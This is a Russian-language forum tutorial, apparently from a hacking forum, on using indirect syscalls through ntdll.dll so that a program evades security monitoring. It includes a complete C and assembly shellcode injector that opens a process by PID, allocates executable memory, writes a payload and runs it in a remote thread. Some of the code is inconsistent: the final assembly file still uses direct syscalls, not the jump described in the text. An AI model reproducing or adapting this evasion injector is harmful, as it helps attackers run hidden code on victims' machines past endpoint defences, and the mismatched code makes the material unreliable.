!!! Системные вызовы обычно выполняются в ntdll.dll. Если наша программа вызывает syscall без того, чтобы этот вызов исходил из ntdll.dll, это очень подозрительно и накладывает на нашу программу дополнительные/нежелательные проверки. Непрямые системные вызовы пытаются решить эту проблему, переходя к инструкции syscall, расположенной внутри ntdll.dll !!!
Как видно из рисунка выше, этот путь от нашей скромной маленькой программы до момента вызова syscall из ntdll.dll довольно странный. Если мы посмотрим на изображение ниже, то увидим, что обычно ожидается от программы, прежде чем она вызовет syscall:
Видите? Ни разу в программе системный вызов не был вызван непосредственно через нее, она проходит через множество модулей, прежде чем попасть в ntdll.dll и затем выполнить инструкцию системного вызова. Итак, как мы можем сделать так, чтобы наша программа имитировала этот ожидаемый путь?
Использование непрямых системных вызовов
Для борьбы с проблемой прямых системных вызовов мы можем сделать так, чтобы наша программа выглядела более "легитимной" и не так сильно бросалась в глаза, следующим образом - вместо того чтобы выполнять инструкцию syscall непосредственно в стабах функций ассемблера, мы можем заменить инструкцию syscall на адрес легитимного syscall в другом месте ntdll.dll. Чтобы лучше понять, что я имею ввиду, посмотрите наглядный пример:Код: Скопировать в буфер обмена
Код:
NtOpenProcess proc
mov r10, rcx
mov eax, NtOpenProcessNumber
syscall
ret
NtOpenProcess endp
Это то, что мы делали до сих пор. Перед вызовом инструкции syscall мы перемещаем номер syscall в регистр eax. Что мы хотим сделать с непрямыми вызовами, так это заменить инструкцию syscall на что-то вроде этого:
Код: Скопировать в буфер обмена
Код:
NtOpenProcess proc
mov r10, rcx
mov eax, NtOpenProcessNumber
jmp qword ptr <системный вызов NtOpenProcess>
ret
NtOpenProcess endp
Вы можете увидеть, что когда мы доходим до инструкции syscall, на месте, где она раньше стояла, теперь стоит jmp qword ptr <системный вызов NtOpenProcess>. Таким образом, когда выполнение дойдет до этой точки, оно перейдет по адресу легитимной инструкции syscall внутри ntdll.dll, а не выполнит ее напрямую. Отсюда и исходит понятие непрямых системных вызовов, поскольку мы вызываем инструкцию syscall не напрямую.
!!! Не обязательно задавать адреса инструкций syscall, предназначенные именно для вашей функции. Любой адрес системного вызова, если он действителен и реально существует, будет работать !!!
Создание программы
К счастью, большая часть кода из части про прямые системные вызовы остается неизменной. Единственное, что нам нужно реализовать - это способ поиска адреса инструкции системного вызова. Если мы вспомним нашу функцию поиска SSN:C: Скопировать в буфер обмена
Код:
/* Ищем номера системных вызовов*/
DWORD GetSystemServiceNumber(IN HMODULE hNTDLL, IN LPCSTR NtFunction) {
DWORD NtFunctionSystemServiceNumber = NULL;
UINT_PTR NtFunctionAddress = NULL;
printf("%s Пытаемся получить адрес %s\n", asterisk, NtFunction);
NtFunctionAddress = (UINT_PTR)GetProcAddress(hNTDLL, NtFunction);
if (NtFunctionAddress == NULL) {
printf("%s Не удалось получить адрес %s\n", minus, NtFunction);
return NULL;
}
printf("%s Адрес %s получен\n\n", plus, NtFunction);
printf("%s Получаем SSN %s\n", asterisk, NtFunction);
NtFunctionSystemServiceNumber = ((PBYTE)(NtFunctionAddress + 4))[0];
printf("%s ---> 0x%p+0x4 ---> 0x%lx\n\n", plus, NtFunctionAddress, NtFunctionSystemServiceNumber);
return NtFunctionSystemServiceNumber;
}
Мы получали SSN-номер потенциальной NTAPI-функции, считывая значение по смещению 0x4 в ассемблерном стабе этой функции.
NtFunctionSystemServiceNumber = ((PBYTE)(NtFunctionAddress + 4))[0];
Нажмите, чтобы раскрыть...
Мы можем применить ту же логику получения номера системного вызова для получения адреса инструкции syscall. Если мы посмотрим на типичный стаб системного вызова, то увидим, что инструкция syscall располагается по смещению 0x12:
- Стаб NtOpenProcess из x64dbg
Мы также видим, что инструкция syscall состоит из следующих двух опкодов: 0x0f, 0x05. Зная это, мы можем прочитать адрес по смещению 0x12 и убедиться, что эти два опкода присутствуют, что будет указывать на то, что мы попали на корректную инструкцию/адрес syscall. Готовая функция выглядит следующим образом:
C: Скопировать в буфер обмена
Код:
VOID Preparation(
IN HMODULE handleNTDLL,
IN LPCSTR NtFunction,
OUT DWORD* SSN,
OUT UINT_PTR* syscall
) {
UINT_PTR NtFunctionAddress = NULL;
BYTE opcode[2] = { 0x0F, 0x05 };
printf("%s Начинаем подготовку\n\n", asterisk);
printf("%s Пытаемся получить адрес %s\n", asterisk, NtFunction);
NtFunctionAddress = (UINT_PTR)GetProcAddress(handleNTDLL, NtFunction);
if (NtFunctionAddress == NULL) {
printf("%s Ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
printf("%s Адрес %s получен\n", plus, NtFunction, NtFunctionAddress);
*SSN = ((PBYTE)(NtFunctionAddress + 4))[0];
*syscall = NtFunctionAddress + 0x12;
if (memcmp(opcode, *syscall, sizeof(opcode)) == 0) {
printf("%s Сигнатура системного вызова (0x0F, 0x05) совпала\n", plus);
}
else {
printf("%s Ожидаемая сигнатура системного вызова (0x0F, 0x05) не совпала\n", minus);
return NULL;
}
printf("%s Получен SSN %s (0x%lx)\n", plus, NtFunction, *SSN);
printf("Адрес ---> 0x%p\nСистемный вызов ---> 0x%p\nSSN ---> 0x%lx\n\n", NtFunctionAddress, *syscall, *SSN);
}
Создав эту функцию, мы можем использовать ее для заполнения новой переменной, которая понадобится нам для хранения адресов инструкций syscall:
C: Скопировать в буфер обмена
Код:
#include "header.h"
DWORD NtCloseNumber;
DWORD NtOpenProcessNumber;
DWORD NtCreateThreadExNumber;
DWORD NtWriteVirtualMemoryNumber;
DWORD NtWaitForSingleObjectNumber;
DWORD NtAllocateVirtualMemoryNumber;
UINT_PTR NtCloseSystemCall;
UINT_PTR NtOpenProcessSystemCall;
UINT_PTR NtCreateThreadExSystemCall;
UINT_PTR NtWriteVirtualMemorySystemCall;
UINT_PTR NtWaitForSingleObjectSystemCall;
UINT_PTR NtAllocateVirtualMemorySystemCall;
[...]
!!! Обратите внимание на то, что, как мы уже говорили, вы можете использовать один адрес инструкции syscall для всех ваших стабов. Я делаю это иначе исключительно для полноты картины !!!
Теперь в наш файл syscalls.asm мы можем добавить следующее:
Код: Скопировать в буфер обмена
Код:
.data
EXTERN NtOpenProcessNumber:DWORD
EXTERN NtOpenProcessSystemCall:QWORD
EXTERN NtAllocateVirtualMemoryNumber:DWORD
EXTERN NtAllocateVirtualMemorySystemCall:QWORD
EXTERN NtWriteVirtualMemoryNumber:DWORD
EXTERN NtWriteVirtualMemorySystemCall:QWORD
EXTERN NtWaitForSingleObjectNumber:DWORD
EXTERN NtWaitForSingleObjectSystemCall:QWORD
EXTERN NtCreateThreadExNumber:DWORD
EXTERN NtCreateThreadExSystemCall:QWORD
EXTERN NtCloseNumber:DWORD
EXTERN NtCloseSystemCall:QWORD
.code
[...]
После этого нам остается только вызвать нашу функцию Preparation, чтобы заполнить эти переменные и подготовить их к использованию:
C: Скопировать в буфер обмена
Код:
int main(int argc, char* argv[]) {
DWORD processID = 0;
HMODULE handleNTDLL = NULL;
NTSTATUS STATUS = NULL;
PVOID buffer = NULL;
HANDLE handleThread = NULL;
HANDLE handleProcess = NULL;
const UCHAR shellcode[] = { x,s,s,.,i,s };
SIZE_T shellcodeSize = sizeof(shellcode);
SIZE_T bytesWritten = 0;
if (argc < 2) {
printf("%s Пример использования: %s <PID>\n", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
CLIENT_ID CID = { (HANDLE)processID, 0 };
OBJECT_ATTRIBUTES OA = { sizeof(OA), 0 };
handleNTDLL = GetModule(L"NTDLL");
Preparation(handleNTDLL, "NtOpenProcess", &NtOpenProcessNumber, &NtOpenProcessSystemCall);
Preparation(handleNTDLL, "NtAllocateVirtualMemory", &NtAllocateVirtualMemoryNumber, &NtAllocateVirtualMemorySystemCall);
Preparation(handleNTDLL, "NtWriteVirtualMemory", &NtWriteVirtualMemoryNumber, &NtWriteVirtualMemorySystemCall);
Preparation(handleNTDLL, "NtCreateThreadEx", &NtCreateThreadExNumber, &NtCreateThreadExSystemCall);
Preparation(handleNTDLL, "NtWaitForSingleObject", &NtWaitForSingleObjectNumber, &NtWaitForSingleObjectSystemCall);
Preparation(handleNTDLL, "NtClose", &NtCloseNumber, &NtCloseSystemCall);
/* Выполняем инъекцию */
printf("%s Подготовка завершена, начинаем инъекцию\n", plus);
printf("%s Получаем дескриптор процесса (%ld)\n", asterisk, processID);
[...]
После этого, мы можем скомпилировать нашу программу и запустить ее:
Вот и все. По сути, мы сделали следующее:
Благодарю за внимание!
Спойлер: Полный код
Спойлер: syscalls.asm
Код: Скопировать в буфер обмена
Код:
.data
EXTERN NtOpenProcessNumber:DWORD
EXTERN NtOpenProcessSystemCall:QWORD
EXTERN NtAllocateVirtualMemoryNumber:DWORD
EXTERN NtAllocateVirtualMemorySystemCall:QWORD
EXTERN NtWriteVirtualMemoryNumber:DWORD
EXTERN NtWriteVirtualMemorySystemCall:QWORD
EXTERN NtWaitForSingleObjectNumber:DWORD
EXTERN NtWaitForSingleObjectSystemCall:QWORD
EXTERN NtCreateThreadExNumber:DWORD
EXTERN NtCreateThreadExSystemCall:QWORD
EXTERN NtCloseNumber:DWORD
EXTERN NtCloseSystemCall:QWORD
.code
NtOpenProcess proc
mov r10, rcx
mov eax, NtOpenProcessNumber
syscall
ret
NtOpenProcess endp
NtAllocateVirtualMemory proc
mov r10, rcx
mov eax, NtAllocateVirtualMemoryNumber
syscall
ret
NtAllocateVirtualMemory endp
NtWriteVirtualMemory proc
mov r10, rcx
mov eax, NtWriteVirtualMemoryNumber
syscall
ret
NtWriteVirtualMemory endp
NtCreateThreadEx proc
mov r10, rcx
mov eax, NtCreateThreadExNumber
syscall
ret
NtCreateThreadEx endp
NtWaitForSingleObject proc
mov r10, rcx
mov eax, NtWaitForSingleObjectNumber
syscall
ret
NtWaitForSingleObject endp
NtClose proc
mov r10, rcx
mov eax, NtCloseNumber
syscall
ret
NtClose endp
end
C: Скопировать в буфер обмена
Код:
#pragma once
#include <stdio.h>
#include <windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
/* Структуры */
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
/* Протоипы функций */
extern NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
extern NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
extern NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
extern NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
extern NTSTATUS NtWaitForSingleObject(
_In_ HANDLE Handle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout);
extern NTSTATUS NtClose(
IN HANDLE Handle);
C: Скопировать в буфер обмена
Код:
#include "header.h"
DWORD NtCloseNumber;
DWORD NtOpenProcessNumber;
DWORD NtCreateThreadExNumber;
DWORD NtWriteVirtualMemoryNumber;
DWORD NtWaitForSingleObjectNumber;
DWORD NtAllocateVirtualMemoryNumber;
UINT_PTR NtCloseSystemCall;
UINT_PTR NtOpenProcessSystemCall;
UINT_PTR NtCreateThreadExSystemCall;
UINT_PTR NtWriteVirtualMemorySystemCall;
UINT_PTR NtWaitForSingleObjectSystemCall;
UINT_PTR NtAllocateVirtualMemorySystemCall;
/* Получаем модуль */
HMODULE GetModule(IN LPCWSTR modName) {
HMODULE handleModule = NULL;
printf("%s Пытаемся получить дескриптор %S\n", asterisk, modName);
handleModule = GetModuleHandleW(modName);
if (handleModule == NULL) {
printf("%s Не удалось получить дескриптор модуля, ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
else {
printf("%s Дескриптор модуля получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleModule);
return handleModule;
}
}
VOID Preparation(
IN HMODULE handleNTDLL,
IN LPCSTR NtFunction,
OUT DWORD* SSN,
OUT UINT_PTR* syscall
) {
UINT_PTR NtFunctionAddress = NULL;
BYTE opcode[2] = { 0x0F, 0x05 };
printf("%s Начинаем подготовку\n\n", asterisk);
printf("%s Пытаемся получить адрес %s\n", asterisk, NtFunction);
NtFunctionAddress = (UINT_PTR)GetProcAddress(handleNTDLL, NtFunction);
if (NtFunctionAddress == NULL) {
printf("%s Ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
printf("%s Адрес %s получен\n", plus, NtFunction, NtFunctionAddress);
*SSN = ((PBYTE)(NtFunctionAddress + 4))[0];
*syscall = NtFunctionAddress + 0x12;
if (memcmp(opcode, *syscall, sizeof(opcode)) == 0) {
printf("%s Сигнатура системного вызова (0x0F, 0x05) совпала\n", plus);
}
else {
printf("%s Ожидаемая сигнатура системного вызова (0x0F, 0x05) не совпала\n", minus);
return NULL;
}
printf("%s Получен SSN %s (0x%lx)\n", plus, NtFunction, *SSN);
printf("Адрес ---> 0x%p\nСистемный вызов ---> 0x%p\nSSN ---> 0x%lx\n\n", NtFunctionAddress, *syscall, *SSN);
}
/* Ищем номера системных вызовов*/
DWORD GetSystemServiceNumber(IN HMODULE hNTDLL, IN LPCSTR NtFunction) {
DWORD NtFunctionSystemServiceNumber = NULL;
UINT_PTR NtFunctionAddress = NULL;
printf("%s Пытаемся получить адрес %s\n", asterisk, NtFunction);
NtFunctionAddress = (UINT_PTR)GetProcAddress(hNTDLL, NtFunction);
if (NtFunctionAddress == NULL) {
printf("%s Не удалось получить адрес %s\n", minus, NtFunction);
return NULL;
}
printf("%s Адрес %s получен\n\n", plus, NtFunction);
printf("%s Получаем SSN %s\n", asterisk, NtFunction);
NtFunctionSystemServiceNumber = ((PBYTE)(NtFunctionAddress + 4))[0];
printf("%s ---> 0x%p+0x4 ---> 0x%lx\n\n", plus, NtFunctionAddress, NtFunctionSystemServiceNumber);
return NtFunctionSystemServiceNumber;
}
int main(int argc, char* argv[]) {
DWORD processID = 0;
HMODULE handleNTDLL = NULL;
NTSTATUS STATUS = NULL;
PVOID buffer = NULL;
HANDLE handleThread = NULL;
HANDLE handleProcess = NULL;
const UCHAR shellcode[] = { x,s,s,.,i,s };
SIZE_T shellcodeSize = sizeof(shellcode);
SIZE_T bytesWritten = 0;
if (argc < 2) {
printf("%s Пример использования: %s <PID>\n", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
CLIENT_ID CID = { (HANDLE)processID, 0 };
OBJECT_ATTRIBUTES OA = { sizeof(OA), 0 };
handleNTDLL = GetModule(L"NTDLL");
Preparation(handleNTDLL, "NtOpenProcess", &NtOpenProcessNumber, &NtOpenProcessSystemCall);
Preparation(handleNTDLL, "NtAllocateVirtualMemory", &NtAllocateVirtualMemoryNumber, &NtAllocateVirtualMemorySystemCall);
Preparation(handleNTDLL, "NtWriteVirtualMemory", &NtWriteVirtualMemoryNumber, &NtWriteVirtualMemorySystemCall);
Preparation(handleNTDLL, "NtCreateThreadEx", &NtCreateThreadExNumber, &NtCreateThreadExSystemCall);
Preparation(handleNTDLL, "NtWaitForSingleObject", &NtWaitForSingleObjectNumber, &NtWaitForSingleObjectSystemCall);
Preparation(handleNTDLL, "NtClose", &NtCloseNumber, &NtCloseSystemCall);
/* Выполняем инъекцию */
printf("%s Подготовка завершена, начинаем инъекцию\n", plus);
printf("%s Получаем дескриптор процесса (%ld)\n", asterisk, processID);
STATUS = NtOpenProcess(&handleProcess, PROCESS_ALL_ACCESS, &OA, &CID);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось получить дескриптор процесса (%ld), ошибка: 0x%x\n", minus, processID, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
printf("%s Выделяем буфер в памяти процесса\n", asterisk);
STATUS = NtAllocateVirtualMemory(handleProcess, &buffer, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось выделить память, ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Выделен буфер с PAGE_EXECUTE_READWRITE [RWX] разрешениями\n", plus);
printf("%s Записываем полезную нагрузку в выделенный буфер\n", plus);
// Удалите эту часть, если вам нужна бОльшая скорость
for (int i = 0; i < sizeof(shellcode); i++) {
if (i % 16 == 0) {
printf("\n ");
}
Sleep(1);
printf(" %02X", shellcode[i]);
}
puts("\n");
STATUS = NtWriteVirtualMemory(handleProcess, buffer, shellcode, sizeof(shellcode), &bytesWritten);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Запись в выделенный буфер не удалась, ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Записано %zu байт в выделенный буфер\n\n", plus, bytesWritten);
printf("%s Создаем поток, начинаем выполнение\n", asterisk);
STATUS = NtCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, NULL, handleProcess, buffer, NULL, FALSE, 0, 0, 0, NULL);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось создать поток, ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Поток создан\n\n", plus);
/* Очистка и выход */
printf("%s Ожидание завершения выполнения потока\n", asterisk);
STATUS = NtWaitForSingleObject(handleThread, FALSE, NULL);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось дождаться завершения объекта (handleThread), ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
if (handleThread)
NtClose(handleThread);
return 1;
}
printf("%s Поток завершил выполнение\n\n", plus);
printf("%s Начинаем очистку\n", asterisk);
if (handleProcess) {
printf("%s Закрываем дескриптор процесса\n", asterisk);
STATUS = NtClose(handleProcess);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось закрыть дескриптор, ошибка: 0x%x\n", minus, STATUS);
return 1;
}
printf("%s Успешно\n", plus);
}
if (handleThread) {
printf("%s Закрываем дескриптор потока\n", asterisk);
STATUS = NtClose(handleThread);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось закрыть дескриптор, ошибка: 0x%x\n", minus, STATUS);
return 1;
}
printf("%s Успешно\n", plus);
}
printf("%s Очистка завершена\n", plus);
return 0;
}